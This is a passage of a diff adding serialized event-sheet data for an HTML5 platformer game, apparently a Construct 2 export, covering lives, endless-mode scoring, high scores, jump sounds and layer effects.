+ ],
+ [
+ [
+ 324,
+ 61,
+ "Platform",
+ 320754532081118,
+ false,
+ [
+ [
+ 3,
+ 2
+ ]
+ ]
+ ],
+ [
+ 4,
+ 80,
+ null,
+ 712626839964844,
+ false,
+ [
+ [
+ 3,
+ 0
+ ],
+ [
+ 1,
+ [
+ 19,
+ 81,
+ [
+ [
+ 2,
+ "jump"
+ ],
+ [
+ 2,
+ "jump2"
+ ]
+ ]
+ ]
+ ],
+ [
+ 3,
+ 0
+ ],
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ],
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 553834461590433,
+ [
+ [
+ 0,
+ 107,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 755903181942685,
+ false
+ ],
+ [
+ -1,
+ 65,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 911460623968448,
+ false,
+ [
+ [
+ 7,
+ [
+ 20,
+ 0,
+ 108,
+ false,
+ null,
+ [
+ [
+ 2,
+ "UI"
+ ]
+ ]
+ ]
+ ],
+ [
+ 8,
+ 4
+ ],
+ [
+ 7,
+ [
+ 0,
+ 100
+ ]
+ ]
+ ]
+ ],
+ [
+ 324,
+ 78,
+ "Platform",
+ 0,
+ false,
+ false,
+ false,
+ 460578940961962,
+ false
+ ]
+ ],
+ [
+ [
+ 324,
+ 61,
+ "Platform",
+ 499111671737660,
+ false,
+ [
+ [
+ 3,
+ 2
+ ]
+ ]
+ ],
+ [
+ 4,
+ 80,
+ null,
+ 910627435883727,
+ false,
+ [
+ [
+ 3,
+ 0
+ ],
+ [
+ 1,
+ [
+ 19,
+ 81,
+ [
+ [
+ 2,
+ "jump"
+ ],
+ [
+ 2,
+ "jump2"
+ ]
+ ]
+ ]
+ ],
+ [
+ 3,
+ 0
+ ],
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ],
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 106672118077270,
+ [
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 790897888649009,
+ false,
+ [
+ [
+ 11,
+ "endlevel"
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ 324,
+ 82,
+ "Platform",
+ 0,
+ false,
+ false,
+ false,
+ 320404016058569,
+ false
+ ],
+ [
+ -1,
+ 65,
+ null,
+ 0,
+ false,
+ true,
+ false,
+ 950417423415321,
+ false,
+ [
+ [
+ 7,
+ [
+ 19,
+ 83
+ ]
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 2,
+ "Endless"
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ -1,
+ 84,
+ null,
+ 866828636194345,
+ false,
+ [
+ [
+ 5,
+ [
+ 2,
+ "Game"
+ ]
+ ],
+ [
+ 0,
+ [
+ 19,
+ 85,
+ [
+ [
+ 19,
+ 86,
+ [
+ [
+ 2,
+ "Game"
+ ]
+ ]
+ ],
+ [
+ 1,
+ 0.9
+ ],
+ [
+ 6,
+ [
+ 0,
+ 3
+ ],
+ [
+ 19,
+ 87
+ ]
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 84,
+ null,
+ 695692903407409,
+ false,
+ [
+ [
+ 5,
+ [
+ 2,
+ "fondo"
+ ]
+ ],
+ [
+ 0,
+ [
+ 19,
+ 85,
+ [
+ [
+ 19,
+ 86,
+ [
+ [
+ 2,
+ "Game"
+ ]
+ ]
+ ],
+ [
+ 1,
+ 0.9
+ ],
+ [
+ 6,
+ [
+ 0,
+ 3
+ ],
+ [
+ 19,
+ 87
+ ]
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 84,
+ null,
+ 376596156765998,
+ false,
+ [
+ [
+ 5,
+ [
+ 2,
+ "fondo2"
+ ]
+ ],
+ [
+ 0,
+ [
+ 19,
+ 85,
+ [
+ [
+ 19,
+ 86,
+ [
+ [
+ 2,
+ "Game"
+ ]
+ ]
+ ],
+ [
+ 1,
+ 0.9
+ ],
+ [
+ 6,
+ [
+ 0,
+ 3
+ ],
+ [
+ 19,
+ 87
+ ]
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 84,
+ null,
+ 248743434446531,
+ false,
+ [
+ [
+ 5,
+ [
+ 2,
+ "Layer 1"
+ ]
+ ],
+ [
+ 0,
+ [
+ 19,
+ 85,
+ [
+ [
+ 19,
+ 86,
+ [
+ [
+ 2,
+ "Game"
+ ]
+ ]
+ ],
+ [
+ 1,
+ 0.9
+ ],
+ [
+ 6,
+ [
+ 0,
+ 3
+ ],
+ [
+ 19,
+ 87
+ ]
+ ]
+ ]
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 710261785284026,
+ [
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 800479114006399,
+ false,
+ [
+ [
+ 11,
+ "endlevel"
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ 324,
+ 88,
+ "Platform",
+ 0,
+ false,
+ false,
+ false,
+ 761918458960524,
+ false
+ ],
+ [
+ -1,
+ 65,
+ null,
+ 0,
+ false,
+ true,
+ false,
+ 792555398674907,
+ false,
+ [
+ [
+ 7,
+ [
+ 19,
+ 83
+ ]
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 2,
+ "Endless"
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ -1,
+ 84,
+ null,
+ 949904070089271,
+ false,
+ [
+ [
+ 5,
+ [
+ 2,
+ "Game"
+ ]
+ ],
+ [
+ 0,
+ [
+ 19,
+ 85,
+ [
+ [
+ 19,
+ 86,
+ [
+ [
+ 2,
+ "Game"
+ ]
+ ]
+ ],
+ [
+ 1,
+ 0.9
+ ],
+ [
+ 6,
+ [
+ 0,
+ 3
+ ],
+ [
+ 19,
+ 87
+ ]
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 84,
+ null,
+ 720065783080610,
+ false,
+ [
+ [
+ 5,
+ [
+ 2,
+ "fondo"
+ ]
+ ],
+ [
+ 0,
+ [
+ 19,
+ 85,
+ [
+ [
+ 19,
+ 86,
+ [
+ [
+ 2,
+ "Game"
+ ]
+ ]
+ ],
+ [
+ 1,
+ 0.9
+ ],
+ [
+ 6,
+ [
+ 0,
+ 3
+ ],
+ [
+ 19,
+ 87
+ ]
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 84,
+ null,
+ 454350139218345,
+ false,
+ [
+ [
+ 5,
+ [
+ 2,
+ "fondo2"
+ ]
+ ],
+ [
+ 0,
+ [
+ 19,
+ 85,
+ [
+ [
+ 19,
+ 86,
+ [
+ [
+ 2,
+ "Game"
+ ]
+ ]
+ ],
+ [
+ 1,
+ 0.9
+ ],
+ [
+ 6,
+ [
+ 0,
+ 3
+ ],
+ [
+ 19,
+ 87
+ ]
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 84,
+ null,
+ 913679207602566,
+ false,
+ [
+ [
+ 5,
+ [
+ 2,
+ "Layer 1"
+ ]
+ ],
+ [
+ 0,
+ [
+ 19,
+ 85,
+ [
+ [
+ 19,
+ 86,
+ [
+ [
+ 2,
+ "Game"
+ ]
+ ]
+ ],
+ [
+ 1,
+ 0.9
+ ],
+ [
+ 6,
+ [
+ 0,
+ 3
+ ],
+ [
+ 19,
+ 87
+ ]
+ ]
+ ]
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 881227803225621,
+ [
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 311587484176829,
+ false,
+ [
+ [
+ 11,
+ "endlevel"
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ 324,
+ 78,
+ "Platform",
+ 0,
+ false,
+ false,
+ false,
+ 978024884982338,
+ false
+ ],
+ [
+ -1,
+ 65,
+ null,
+ 0,
+ false,
+ true,
+ false,
+ 582595795902728,
+ false,
+ [
+ [
+ 7,
+ [
+ 19,
+ 83
+ ]
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 2,
+ "Endless"
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ -1,
+ 84,
+ null,
+ 740216719520217,
+ false,
+ [
+ [
+ 5,
+ [
+ 2,
+ "Game"
+ ]
+ ],
+ [
+ 0,
+ [
+ 19,
+ 85,
+ [
+ [
+ 19,
+ 86,
+ [
+ [
+ 2,
+ "Game"
+ ]
+ ]
+ ],
+ [
+ 0,
+ 1
+ ],
+ [
+ 6,
+ [
+ 0,
+ 3
+ ],
+ [
+ 19,
+ 87
+ ]
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 84,
+ null,
+ 215054673403117,
+ false,
+ [
+ [
+ 5,
+ [
+ 2,
+ "fondo"
+ ]
+ ],
+ [
+ 0,
+ [
+ 19,
+ 85,
+ [
+ [
+ 19,
+ 86,
+ [
+ [
+ 2,
+ "Game"
+ ]
+ ]
+ ],
+ [
+ 0,
+ 1
+ ],
+ [
+ 6,
+ [
+ 0,
+ 3
+ ],
+ [
+ 19,
+ 87
+ ]
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 84,
+ null,
+ 102262356229142,
+ false,
+ [
+ [
+ 5,
+ [
+ 2,
+ "fondo2"
+ ]
+ ],
+ [
+ 0,
+ [
+ 19,
+ 85,
+ [
+ [
+ 19,
+ 86,
+ [
+ [
+ 2,
+ "Game"
+ ]
+ ]
+ ],
+ [
+ 0,
+ 1
+ ],
+ [
+ 6,
+ [
+ 0,
+ 3
+ ],
+ [
+ 19,
+ 87
+ ]
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 84,
+ null,
+ 487384462280349,
+ false,
+ [
+ [
+ 5,
+ [
+ 2,
+ "Layer 1"
+ ]
+ ],
+ [
+ 0,
+ [
+ 19,
+ 85,
+ [
+ [
+ 19,
+ 86,
+ [
+ [
+ 2,
+ "Game"
+ ]
+ ]
+ ],
+ [
+ 0,
+ 1
+ ],
+ [
+ 6,
+ [
+ 0,
+ 3
+ ],
+ [
+ 19,
+ 87
+ ]
+ ]
+ ]
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 322987701582526,
+ [
+ [
+ 349,
+ 89,
+ null,
+ 1,
+ false,
+ false,
+ false,
+ 956721689074423,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "Default"
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 349,
+ 50,
+ null,
+ 197567577813290,
+ false
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 663762881724120,
+ [
+ [
+ 324,
+ 62,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 586795450416588,
+ false,
+ [
+ [
+ 4,
+ 332
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 332,
+ 50,
+ null,
+ 753504762216682,
+ false
+ ],
+ [
+ 332,
+ 90,
+ null,
+ 554142844654302,
+ false,
+ [
+ [
+ 4,
+ 349
+ ],
+ [
+ 5,
+ [
+ 2,
+ "Game"
+ ]
+ ],
+ [
+ 7,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ 332,
+ 90,
+ null,
+ 111635740998915,
+ false,
+ [
+ [
+ 4,
+ 354
+ ],
+ [
+ 5,
+ [
+ 2,
+ "Game"
+ ]
+ ],
+ [
+ 7,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 91,
+ null,
+ 539123348854847,
+ false,
+ [
+ [
+ 11,
+ "Score"
+ ],
+ [
+ 7,
+ [
+ 19,
+ 81,
+ [
+ [
+ 0,
+ 10
+ ],
+ [
+ 0,
+ 20
+ ],
+ [
+ 0,
+ 30
+ ],
+ [
+ 0,
+ 40
+ ],
+ [
+ 0,
+ 50
+ ],
+ [
+ 0,
+ 60
+ ],
+ [
+ 0,
+ 70
+ ],
+ [
+ 0,
+ 80
+ ],
+ [
+ 0,
+ 90
+ ],
+ [
+ 0,
+ 100
+ ],
+ [
+ 0,
+ 150
+ ],
+ [
+ 0,
+ 200
+ ],
+ [
+ 0,
+ 250
+ ],
+ [
+ 0,
+ 300
+ ],
+ [
+ 0,
+ 350
+ ],
+ [
+ 0,
+ 400
+ ],
+ [
+ 0,
+ 500
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 4,
+ 33,
+ null,
+ 772227819966893,
+ false,
+ [
+ [
+ 2,
+ [
+ "efecto3",
+ false
+ ]
+ ],
+ [
+ 3,
+ 0
+ ],
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ],
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 245272544789619,
+ [
+ [
+ 324,
+ 62,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 507546062271162,
+ false,
+ [
+ [
+ 4,
+ 352
+ ]
+ ]
+ ],
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 983409058810765,
+ false,
+ [
+ [
+ 11,
+ "endlevel"
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ -1,
+ 31,
+ null,
+ 151085636356138,
+ false,
+ [
+ [
+ 11,
+ "endlevel"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 92,
+ null,
+ 179509945171247,
+ false,
+ [
+ [
+ 4,
+ 356
+ ],
+ [
+ 5,
+ [
+ 2,
+ "UI"
+ ]
+ ],
+ [
+ 0,
+ [
+ 0,
+ 400
+ ]
+ ],
+ [
+ 0,
+ [
+ 0,
+ 240
+ ]
+ ]
+ ]
+ ],
+ [
+ 351,
+ 93,
+ "LiteTween",
+ 729494963908541,
+ false,
+ [
+ [
+ 3,
+ 0
+ ],
+ [
+ 3,
+ 0
+ ]
+ ]
+ ],
+ [
+ 4,
+ 33,
+ null,
+ 871646671814119,
+ false,
+ [
+ [
+ 2,
+ [
+ "efecto1",
+ false
+ ]
+ ],
+ [
+ 3,
+ 0
+ ],
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ],
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 228053069610992,
+ [
+ [
+ -1,
+ 41,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 822800391769112,
+ false
+ ],
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 242461465896355,
+ false,
+ [
+ [
+ 11,
+ "STARTENDLESS"
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 111736513880009,
+ false,
+ [
+ [
+ 11,
+ "endgame"
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 460,
+ 95,
+ null,
+ 107749537656075,
+ false,
+ [
+ [
+ 7,
+ [
+ 23,
+ "endlesshigh"
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 91,
+ null,
+ 789177351365928,
+ false,
+ [
+ [
+ 11,
+ "endlesscore"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ 459,
+ 95,
+ null,
+ 116736791725739,
+ false,
+ [
+ [
+ 7,
+ [
+ 23,
+ "endlesscore"
+ ]
+ ]
+ ]
+ ],
+ [
+ 355,
+ 95,
+ null,
+ 509039540320127,
+ false,
+ [
+ [
+ 7,
+ [
+ 23,
+ "endlesscore"
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 585708885228308,
+ [
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 379042775745687,
+ false,
+ [
+ [
+ 11,
+ "vida"
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 3
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 326,
+ 30,
+ null,
+ 745313536032385,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "tres"
+ ]
+ ],
+ [
+ 3,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 318289146223469,
+ [
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 411256681836229,
+ false,
+ [
+ [
+ 11,
+ "vida"
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 2
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 326,
+ 30,
+ null,
+ 586977197581265,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "dos"
+ ]
+ ],
+ [
+ 3,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 532613308601946,
+ [
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 158717467879236,
+ false,
+ [
+ [
+ 11,
+ "vida"
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 326,
+ 30,
+ null,
+ 577025229836197,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "uno"
+ ]
+ ],
+ [
+ 3,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 385083902698000,
+ [
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 863917926953664,
+ false,
+ [
+ [
+ 11,
+ "vida"
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 326,
+ 30,
+ null,
+ 155396541498084,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "cero"
+ ]
+ ],
+ [
+ 3,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 903956192501362,
+ [
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 582466418528493,
+ false,
+ [
+ [
+ 11,
+ "vida"
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 54,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 296242151700269,
+ false
+ ]
+ ],
+ [
+ [
+ -1,
+ 31,
+ null,
+ 227116181238030,
+ false,
+ [
+ [
+ 11,
+ "endgame"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ 324,
+ 98,
+ null,
+ 709283459474759,
+ false,
+ [
+ [
+ 3,
+ 0
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 650746091683305,
+ [
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 680748106770635,
+ false,
+ [
+ [
+ 11,
+ "endgame"
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 54,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 376894974874496,
+ false
+ ]
+ ],
+ [
+ [
+ 9,
+ 45,
+ null,
+ 136922776871861,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "redscore3"
+ ]
+ ],
+ [
+ 7,
+ [
+ 23,
+ "Score"
+ ]
+ ]
+ ]
+ ],
+ [
+ 9,
+ 45,
+ null,
+ 738036886675307,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "redhighscore3"
+ ]
+ ],
+ [
+ 7,
+ [
+ 23,
+ "endlesshigh"
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 29,
+ null,
+ 625960687409782,
+ false,
+ [
+ [
+ 0,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ 458,
+ 93,
+ "LiteTween",
+ 727840558434540,
+ false,
+ [
+ [
+ 3,
+ 0
+ ],
+ [
+ 3,
+ 0
+ ]
+ ]
+ ],
+ [
+ -1,
+ 29,
+ null,
+ 932010316889117,
+ false,
+ [
+ [
+ 0,
+ [
+ 0,
+ 2
+ ]
+ ]
+ ]
+ ],
+ [
+ 4,
+ 33,
+ null,
+ 595646285264710,
+ false,
+ [
+ [
+ 2,
+ [
+ "button",
+ false
+ ]
+ ],
+ [
+ 3,
+ 0
+ ],
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ],
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 40,
+ null,
+ 482794459646371,
+ false,
+ [
+ [
+ 6,
+ "Shop"
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 791310721158586,
+ [
+ [
+ 324,
+ 62,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 910063683059039,
+ false,
+ [
+ [
+ 4,
+ 358
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 358,
+ 50,
+ null,
+ 956597827349539,
+ false
+ ],
+ [
+ -1,
+ 31,
+ null,
+ 352573323125031,
+ false,
+ [
+ [
+ 11,
+ "vida"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 942576374924514,
+ [
+ [
+ 324,
+ 62,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 602101867702874,
+ false,
+ [
+ [
+ 4,
+ 374
+ ]
+ ]
+ ],
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 553440628108381,
+ false,
+ [
+ [
+ 11,
+ "hiter"
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 324,
+ 90,
+ null,
+ 975312231494915,
+ false,
+ [
+ [
+ 4,
+ 388
+ ],
+ [
+ 5,
+ [
+ 2,
+ "Game"
+ ]
+ ],
+ [
+ 7,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 31,
+ null,
+ 209554422380850,
+ false,
+ [
+ [
+ 11,
+ "hiter"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 99,
+ null,
+ 936706571418503,
+ false,
+ [
+ [
+ 11,
+ "vida"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ 324,
+ 47,
+ "Sine",
+ 985902736320320,
+ false,
+ [
+ [
+ 3,
+ 1
+ ]
+ ]
+ ],
+ [
+ 324,
+ 67,
+ "Platform",
+ 326653268218132,
+ false,
+ [
+ [
+ 0,
+ [
+ 0,
+ -400
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 29,
+ null,
+ 182059784510086,
+ false,
+ [
+ [
+ 0,
+ [
+ 1,
+ 1.5
+ ]
+ ]
+ ]
+ ],
+ [
+ 324,
+ 47,
+ "Sine",
+ 375927944572827,
+ false,
+ [
+ [
+ 3,
+ 0
+ ]
+ ]
+ ],
+ [
+ 324,
+ 100,
+ null,
+ 939309009956904,
+ false,
+ [
+ [
+ 0,
+ [
+ 0,
+ 100
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 31,
+ null,
+ 134071469485184,
+ false,
+ [
+ [
+ 11,
+ "hiter"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 607516178603384,
+ [
+ [
+ 0,
+ 101,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 873733262120996,
+ false,
+ [
+ [
+ 4,
+ 361
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 324,
+ 61,
+ "Platform",
+ 687848796832954,
+ false,
+ [
+ [
+ 3,
+ 0
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 592365789189165,
+ [
+ [
+ 0,
+ 101,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 427108057901574,
+ false,
+ [
+ [
+ 4,
+ 362
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 324,
+ 61,
+ "Platform",
+ 353084205588429,
+ false,
+ [
+ [
+ 3,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 384001184137339,
+ [
+ [
+ 0,
+ 101,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 512216031014702,
+ false,
+ [
+ [
+ 4,
+ 363
+ ]
+ ]
+ ],
+ [
+ 324,
+ 78,
+ "Platform",
+ 0,
+ false,
+ false,
+ false,
+ 930763158526327,
+ false
+ ]
+ ],
+ [
+ [
+ 324,
+ 61,
+ "Platform",
+ 599156288004555,
+ false,
+ [
+ [
+ 3,
+ 2
+ ]
+ ]
+ ],
+ [
+ 4,
+ 80,
+ null,
+ 546593898382337,
+ false,
+ [
+ [
+ 3,
+ 0
+ ],
+ [
+ 1,
+ [
+ 19,
+ 81,
+ [
+ [
+ 2,
+ "jump"
+ ],
+ [
+ 2,
+ "jump2"
+ ]
+ ]
+ ]
+ ],
+ [
+ 3,
+ 0
+ ],
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ],
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 590965444204141,
+ [
+ [
+ -1,
+ 38,
+ null,
+ 0,
+ false,
+ true,
+ false,
+ 344252656299068,
+ false
+ ]
+ ],
+ [
+ [
+ 361,
+ 50,
+ null,
+ 957141798202636,
+ false
+ ],
+ [
+ 362,
+ 50,
+ null,
+ 480464342116500,
+ false
+ ],
+ [
+ 363,
+ 50,
+ null,
+ 444527419378835,
+ false
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 428050008505257,
+ [
+ [
+ -1,
+ 34,
+ null,
+ 1,
+ false,
+ false,
+ false,
+ 418888381652824,
+ false
+ ]
+ ],
+ [
+ [
+ 369,
+ 46,
+ "Pin",
+ 548698572251942,
+ false,
+ [
+ [
+ 4,
+ 366
+ ],
+ [
+ 3,
+ 0
+ ]
+ ]
+ ],
+ [
+ 370,
+ 46,
+ "Pin",
+ 297909087146692,
+ false,
+ [
+ [
+ 4,
+ 367
+ ],
+ [
+ 3,
+ 0
+ ]
+ ]
+ ],
+ [
+ 371,
+ 46,
+ "Pin",
+ 518237352674619,
+ false,
+ [
+ [
+ 4,
+ 368
+ ],
+ [
+ 3,
+ 0
+ ]
+ ]
+ ],
+ [
+ 373,
+ 46,
+ "Pin",
+ 138308006179001,
+ false,
+ [
+ [
+ 4,
+ 372
+ ],
+ [
+ 3,
+ 0
+ ]
+ ]
+ ],
+ [
+ -1,
+ 31,
+ null,
+ 214431566448727,
+ false,
+ [
+ [
+ 11,
+ "hiter"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ 378,
+ 46,
+ "Pin",
+ 109882360438315,
+ false,
+ [
+ [
+ 4,
+ 375
+ ],
+ [
+ 3,
+ 0
+ ]
+ ]
+ ],
+ [
+ 379,
+ 46,
+ "Pin",
+ 879071136347533,
+ false,
+ [
+ [
+ 4,
+ 375
+ ],
+ [
+ 3,
+ 0
+ ]
+ ]
+ ],
+ [
+ 390,
+ 46,
+ "Pin",
+ 369088444252478,
+ false,
+ [
+ [
+ 4,
+ 389
+ ],
+ [
+ 3,
+ 1
+ ]
+ ]
+ ],
+ [
+ 391,
+ 46,
+ "Pin",
+ 171064619096326,
+ false,
+ [
+ [
+ 4,
+ 343
+ ],
+ [
+ 3,
+ 0
+ ]
+ ]
+ ],
+ [
+ 392,
+ 46,
+ "Pin",
+ 182277665115790,
+ false,
+ [
+ [
+ 4,
+ 393
+ ],
+ [
+ 3,
+ 0
+ ]
+ ]
+ ],
+ [
+ 395,
+ 46,
+ "Pin",
+ 731083143207825,
+ false,
+ [
+ [
